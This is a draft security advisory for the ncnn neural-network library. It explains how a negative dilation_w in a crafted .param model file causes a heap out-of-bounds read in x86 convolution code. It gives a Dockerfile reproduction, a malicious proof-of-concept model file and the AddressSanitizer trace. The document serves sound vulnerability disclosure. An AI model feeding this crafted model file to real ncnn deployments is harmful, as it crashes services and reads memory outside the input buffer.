All advisories
Draft

Negative Dilation Enables X86 Heap Out-Of-Bounds Read

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Negative Dilation Enables X86 Heap Out-Of-Bounds Read

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_packed.h:1400 in convolution_packed
Sanitizer verdict: heap-buffer-overflow

Summary

Convolution::load_param accepts any integer for dilation_w, and the x86 packed convolution turns it directly into an element offset table. A model with dilation_w=-1 produces negative entries in space_ofs, so the kernel loop indexes r0[sok] in front of the input tensor and the process crashes. The entry point is ncnnoptimize, which reaches the vulnerable code while running shape inference over the attacker-supplied .param/.bin pair.

Detail

The untrusted field is param key 2 of the Convolution layer (dilation_w), preserved unchecked by Convolution::load_param (dilation_w = pd.get(2, 1);). convolution_packed builds the per-tap offset table by accumulating dilation_w into p2, then uses those offsets as unbounded indices into the input row:

// src/layer/x86/convolution_packed.h:1082
    {
        int p1 = 0;
        int p2 = 0;
        int gap = w * dilation_h - kernel_w * dilation_w;
        for (int i = 0; i < kernel_h; i++)
        {
            for (int j = 0; j < kernel_w; j++)
            {
                space_ofs[p1] = p2 * elempack;
                p1++;
                p2 += dilation_w;
            }
            p2 += gap;
        }
    }

// src/layer/x86/convolution_packed.h:1387
                        for (int k = 0; k < maxk; k++)
                        {
                            const int sok = space_ofs[k];
...
                            _sum0 = _mm512_fmadd_ps(_w0, _mm512_set1_ps(r0[sok]), _sum0);

The PoC feeds a 4x4x9 FP32 input to a 2x2 convolution with num_output=16, dilation_w=-1, dilation_h=1, stride=1 and no padding. Because the input has 9 channels, elempack is 1 and the if (elempack == 1) branch at line 1385 is taken. The offset table is built as p2 = 0, -1, then gap = w * dilation_h - kernel_w * dilation_w = 4 - (2 * -1) = 6 bumps p2 to 4 for the second kernel row, yielding space_ofs = {0, -1, 4, 3}.

The negative extent also inflates the output geometry — kernel_extent_w = dilation_w * (kernel_w - 1) + 1 = 0, so outw = (4 - 0) / 1 + 1 = 5 — but the read fails before that matters. On the very first output pixel, r0 sits at the start of the input allocation and tap k = 1 evaluates r0[-1], four bytes in front of the 644-byte input region. ASan reports the 4-byte read at that address and aborts ncnnoptimize.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-negative-dilation-enables-x86-heap-out-of-bounds-read && cd ncnn-poc-negative-dilation-enables-x86-heap-out-of-bounds-read

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=4 1=4 2=9
Convolution conv 1 1 data out 0=16 1=2 2=-1 6=576 11=2
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51700000007c at pc 0x5bc6da7f95a7 bp 0x7ffc00d58730 sp 0x7ffc00d58720
READ of size 4 at 0x51700000007c thread T0
    #0 0x5bc6da7f95a6 in convolution_packed /ncnn/src/layer/x86/convolution_packed.h:1400
    #1 0x5bc6dafac392 in ncnn::Convolution_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:850
    #2 0x5bc6da171f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x5bc6da163b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5bc6da1c39e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5bc6da0553c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5bc6da0d2eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x79d5625e61c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x79d5625e628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5bc6da052624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x51700000007c is located 4 bytes before 644-byte region [0x517000000080,0x517000000304)
allocated by thread T0 here:
    #0 0x79d562c5ff1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5bc6da12392d in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5bc6da12392d in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:415
    #3 0x5bc6da053ca0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:390
    #4 0x5bc6da0d2eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x79d5625e61c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x79d5625e628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5bc6da052624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/x86/convolution_packed.h:1400 in convolution_packed

Credit

Zheng Yu @ DepthFirst